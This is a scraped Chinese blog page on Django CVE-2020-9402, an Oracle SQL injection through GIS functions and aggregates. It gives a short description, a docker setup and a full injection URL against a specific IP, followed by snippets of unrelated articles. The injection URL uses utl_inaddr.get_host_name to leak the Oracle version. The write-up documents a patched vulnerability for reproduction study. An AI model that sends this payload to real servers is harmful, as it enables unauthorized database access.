当前位置： 首页 > news >正文

Oracle SQL 注入上的 Django GIS 函数和聚合漏洞 （CVE-2020-9402）

news 2026/4/8 13:07:17

漏洞描述

Django 于2020年3 月4日发布了一个安全更新，修复了 GIS 函数和聚合中的 SQL 注入漏洞。

参考链接：

  • Django security releases issued: 3.0.4, 2.2.11, and 1.11.29 | Weblog | Django

该漏洞要求开发者使用 JSONField/HStoreField;此外，还可以控制 QuerySet 的字段名称。Django 的内置应用程序 Django-Admin 受到影响，这为我们提供了一种重现漏洞的简单方法。

 漏洞环境及利用

搭建docker环境

这里遇到一个问题，这个占用空间比较大卡住了，后来查看docker日志才发现

漏洞利用POC

http://139.196.87.102:8000/vuln/?q=20)%20%3D%201%20OR%20(select%20utl_inaddr.get_host_name((SELECT%20version%20FROM%20v%24instance))%20from%20dual)%20is%20null%20%20OR%20(1%2B1

漏洞利用如下

相关文章：

Oracle SQL 注入上的 Django GIS 函数和聚合漏洞 （CVE-2020-9402）

漏洞描述 Django 于2020年3 月4日发布了一个安全更新，修复了 GIS 函数和聚合中的 SQL 注入漏洞。 参考链接： Django security releases issued: 3.0.4, 2.2.11, and 1.11.29 | Weblog | Django 该漏洞要求开发者使用 JSONField/HStoreField;此外&…...

编程日记 2023/11/27 20:09:06

MYSQL 排序和分组怎么做？

文章目录 前言MySQL 排序语法在命令提示符中使用 ORDER BY 子句在PHP脚本中使用 ORDER BY 子句 MySQL 分组GROUP BY 语法实例演示使用 WITH ROLLUP 后言 前言 hello world欢迎来到前端的新世界 😜当前文章系列专栏：Mysql 🐱‍👓博…...

编程日记 2023/11/27 20:08:05

ESP32 ESP-IDF5.1 在Visual Studio Code中自定义分区表与调整Flash大小

好记心不如烂笔头 使用ESP-IDF开发ESP32的时候,要是同时用到蓝牙和WIFI的话,很多时候会提示Flash不够, 我是照着这样解决的,存档记录 来源 : zaixingxing2539 大佬的 ESP32 ESP-IDF5.0 在VSCODE中自定义分区表 用Visual Studio Code自定义分区表 # ESP-IDF Partition Table…...

编程日记 2023/11/27 20:07:04

【Amazon】通过代理连接的方式导入 AWS EKS集群至KubeSphere主容器平台

文章目录 一、设置主集群方式一：使用 Web 控制台方式二：使用 Kubectl命令 二、在主集群中设置代理服务地址方式一：使用 Web 控制台方式二：使用 Kubectl命令 三、登录控制台验证四、准备成员集群方式一：使用 Web 控制台…...

编程日记 2023/11/27 20:06:03

网络爬虫（Python：Selenium、Scrapy框架；爬虫与反爬虫笔记）

网络爬虫（Python：Selenium、Scrapy框架；爬虫与反爬虫笔记） SeleniumWebDriver 对象提供的相关方法定位元素ActionChains的基本使用selenium显示等待和隐式等待显示等待隐式等待 Scrapy（异步网络爬虫框架）Sc…...

编程日记 2023/11/27 20:05:02

一个简易计算器实现(c语言)

该程序使用c语言实现了一个简易的计算器，该计算器具有以下功能： 1、设计功能选择界面，实现菜单选择、数据输入和输出的功能； 2、至少自定义五个子函数分别完成加、减、乘、除以及求模运算功能； 3、考虑代码的健壮性和…...

编程日记 2023/11/27 20:04:00

JVM——垃圾回收算法（垃圾回收算法评价标准，四种垃圾回收算法）

目录 1.垃圾回收算法发展简介2.垃圾回收算法的评价标准1.吞吐量2.最大暂停时间3.堆使用效率 3.垃圾回收算法01-标记清除算法垃圾回收算法-标记清除算法的优缺点 4.垃圾回收算法02-复制算法垃圾回收算法-复制算法的优缺点 5.垃圾回收算法03-标记整理算法标记整理算法的优缺点 6.…...

编程日记 2023/11/27 20:03:00

【虚拟机】在VM中安装 CentOS 7

1.2.创建虚拟机 Centos7是比较常用的一个Linux发行版本，在国内的使用比例还是比较高的。 大家首先要下载一个Centos7的iso文件，我在资料中给大家准备了一个mini的版本，体积不到1G，推荐大家使用： 我们在VMware《主页》…...

编程日记 2023/11/27 19:58:56

Qt 信号与槽简介

Qt是一个跨平台的C应用程序开发框架，它提供了丰富的功能和工具来帮助开发者构建高质量、高性能的GUI应用程序。在Qt中，信号与槽（Signal and Slot）机制是一种用于处理事件的重要特性。 信号（Signal）&#xf…...

编程日记 2023/11/27 19:57:54

ruoyi-plus-vue docker 部署

本文以 ruoyi-vue-plus 5.x docker 部署为基础 安装虚拟机 部署文档 安装docker 安装docker 安装docker-compose 配置idea环境 上传 /doicker 文件夹 到服务器；赋值 777权限 chmod -R 777 /docker idea构建 jar 包 利用 idea 构建镜像; 创建基础服务 docker…...

编程日记 2023/11/27 19:56:53

springboot使用redis缓存乱码（key或者 value 乱码）一招解决

如果查看redis中的值是这样 创建一个配置类就可以解决 package com.deka.config;import org.springframework.beans.factory.annotation.Autowired; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; i…...

编程日记 2023/11/27 19:55:52

rk3588配置uac功能，android13使能uac及adb的复合设备

最近，因新增需求需要在现有产品上增加UAC的功能，查阅并学习相关知识后，在rk3588 SOC硬件平台搭载android13系统平台上成功配置了uac及uac&adb的复合设备。基于开源共享精神希望给大家提供些参考。 1.技术可行性预研 （1&#…...

编程日记 2023/11/27 19:54:51

对未来新能源车测试工具的看法

汽车行业正在经历变革的说法算是比较轻描淡写的了，还记得我1983年加入这个行业时，行业聚焦点是引入发动机管理系统。当时还是以家庭掀背车为主的时代，发动机分析仪的体积像衣柜一样大，还没出现“CAN”通信协议。现在经常听到我的导…...

编程日记 2023/11/27 19:53:50

案例说法：智能网联车背后的安全隐患

随着汽车智能化、网联化的发展，汽车数据处理能力日益增强，未经授权对个人信息和重要数据采集、利用等数据安全问题逐步凸显。对车辆网络攻击、网络侵入等网络安全问题恐将危及个人生命安全、合法权益，甚至危害公共利益、国家安全，…...

编程日记 2023/11/27 19:52:48

基于C#实现双端队列

话说有很多数据结构都在玩组合拳，比如说：块状链表，块状数组，当然还有本篇的双端队列，是的，它就是栈和队列的组合体。 一、概念 我们知道普通队列是限制级的一端进，另一端出的 FIFO 形式&#…...

编程日记 2023/11/27 19:51:46

蓝桥杯物联网竞赛_STM32L071_4_按键控制

原理图&#xff1a; 当按键S1按下PC14接GND&#xff0c;为低电平 CubMX配置: Keil配置&#xff1a; main函数&#xff1a; while (1){/* USER CODE END WHILE */OLED_ShowString(24, 0, "<KeyCheck>", 16);if(Function_KEY_S1Check() 1){ OLED_ShowString(…...

编程日记 2023/11/27 19:50:45

【后端卷前端】

为啥现在对后端要求这么高?为啥不要求前端会后端呢? 可能是后端人太多了,要求后端需要会前端的框架(vue react angular ), 这不我为了适应市场的需求来系统的学习vue了: 生成一个基础的vue项目 创建vue项目 vue create projectname 创建vitevue npm init vitelatest p…...

编程日记 2023/11/27 19:48:43

二叉树题目：结点与其祖先之间的最大差值

文章目录 题目标题和出处难度题目描述要求示例数据范围 解法一思路和算法代码复杂度分析 解法二思路和算法代码复杂度分析 题目 标题和出处 标题&#xff1a;结点与其祖先之间的最大差值 出处&#xff1a;1026. 结点与其祖先之间的最大差值 难度 5 级 题目描述 要求 给…...

编程日记 2023/11/27 19:47:42

平衡树 - splay

相比于之前的普通平衡树进行左旋右旋来比&#xff0c;splay的适用性更高&#xff0c;使用更广泛。 核心函数rotate、splay函数&#xff0c;其它的根据需要进行修改。 int n, m; struct Node {int s[2], p, v, cnt; // 左右儿子、父节点、值、出现数量int size, flag; // 子树大…...

编程日记 2023/11/27 19:46:40

Spring Validation实践及其实现原理

Bean Validation 2.0 注解 校验空值 Null&#xff1a;验证对象是否为 null NotNull&#xff1a;验证对象是否不为 null NotEmpty&#xff1a;验证对象不为 null&#xff0c;且长度&#xff08;数组、集合、字符串等&#xff09;大于 0 NotBlank&#xff1a;验证字符串不为 nul…...

编程日记 2023/11/27 19:45:38

高斯数据库（GaussDB）SQL 常用语句总结

高斯数据库（GaussDB）SQL 常用语句总结 高斯数据库（GaussDB）是华为基于 PostgreSQL 开源生态开发的企业级分布式关系型数据库，兼容标准 SQL 92/99/2003，同时支持 PostgreSQL 语法，还自带分布式、高可用特性。 下面按日常开发高频场景整理最实用的 SQL 语句，直接复制就…...

编程新知 2026/4/8 12:28:39

避坑指南：处理通达信5分钟数据.lc5文件时你可能遇到的5个问题（Python解决方案）

避坑指南&#xff1a;处理通达信5分钟数据.lc5文件时你可能遇到的5个问题&#xff08;Python解决方案&#xff09; 在金融数据分析领域&#xff0c;通达信的.lc5文件是存储5分钟级别行情数据的重要格式。许多量化交易者和数据分析师在处理这类文件时&#xff0c;往往会遇到一些…...

编程新知 2026/4/8 11:25:18

如何真正掌控聊天数据？开源工具WeChatMsg的隐私保护与数据备份方案

如何真正掌控聊天数据&#xff1f;开源工具WeChatMsg的隐私保护与数据备份方案 【免费下载链接】WeChatMsg 提取微信聊天记录&#xff0c;将其导出成HTML、Word、CSV文档永久保存&#xff0c;对聊天记录进行分析生成年度聊天报告 项目地址: https://gitcode.com/GitHub_Trend…...

编程新知 2026/4/8 11:06:57

SVN快速入门指南：从零到团队协作（极简版）

1. SVN是什么&#xff1f;为什么团队开发离不开它 第一次接触SVN是在2013年参与一个跨部门协作项目时。当时团队里有5个开发人员&#xff0c;每个人负责不同的模块&#xff0c;但最终需要整合成一个完整系统。项目经理要求我们使用SVN进行代码管理&#xff0c;那是我第一次体会…...

编程新知 2026/4/8 9:52:34

YOLO26改进 - 注意力机制 | Polarized Self-Attention 极化自注意力：高分辨率保持机制优化细节表征，助力小目标检测

前言 本文介绍了极化自注意力（PSA）模块及其在YOLO26中的结合应用。PSA模块旨在解决细粒度计算机视觉任务中的像素级回归问题，其融合了极化过滤和增强两个关键设计。极化过滤在通道和空间维度保持高分辨率，减少信息损失；增强采用细粒度回归输出分布的非线性函数。我们将Po…...

编程新知 2026/4/8 9:12:49

QMCDecode：解锁QQ音乐加密格式，让音乐真正属于你

QMCDecode&#xff1a;解锁QQ音乐加密格式&#xff0c;让音乐真正属于你 【免费下载链接】QMCDecode QQ音乐QMC格式转换为普通格式(qmcflac转flac&#xff0c;qmc0,qmc3转mp3, mflac,mflac0等转flac)&#xff0c;仅支持macOS&#xff0c;可自动识别到QQ音乐下载目录&#xff0c…...

编程新知 2026/4/8 8:24:37

大模型全链路解析：技术演进、能力边界与落地实践 - 【收藏必看】

本节概览&#xff1a; 1、机器学习、深度学习和大模型的技术演进 2、模型能力来源、缺陷根源 3、落地模型&#xff1a;模型的轻量化、算力利用率1 机器学习、深度学习与大模型 很多人会把机器学习、深度学习和大模型当成三个平行概念&#xff0c;但从技术发展的角度看&#xff…...

编程新知 2026/4/8 8:24:37

UnattendedWinstall隐私保护秘籍：彻底禁用Windows遥测的完整指南

UnattendedWinstall隐私保护秘籍&#xff1a;彻底禁用Windows遥测的完整指南 【免费下载链接】UnattendedWinstall Personalized Unattended Answer Files that helps automatically debloat and customize Windows 10 & 11 during the installation process. 项目地址: …...

编程新知 2026/4/8 8:10:20

SOFABoot 过滤器系统终极指南：JVMFilter 与组件生命周期管理深度解析

SOFABoot 过滤器系统终极指南&#xff1a;JVMFilter 与组件生命周期管理深度解析 【免费下载链接】sofa-boot SOFABoot is a framework that enhances Spring Boot and fully compatible with it, provides readiness check, class isolation, etc. 项目地址: https://gitcod…...

编程新知 2026/4/8 8:08:19

打造活跃开源社区的终极指南：如何让Polr URL短链接项目持续繁荣

打造活跃开源社区的终极指南&#xff1a;如何让Polr URL短链接项目持续繁荣 【免费下载链接】polr :aerial_tramway: A modern, powerful, and robust URL shortener 项目地址: https://gitcode.com/gh_mirrors/po/polr Polr是一个现代化、功能强大且健壮的URL短链接项目…...

编程新知 2026/4/8 7:52:07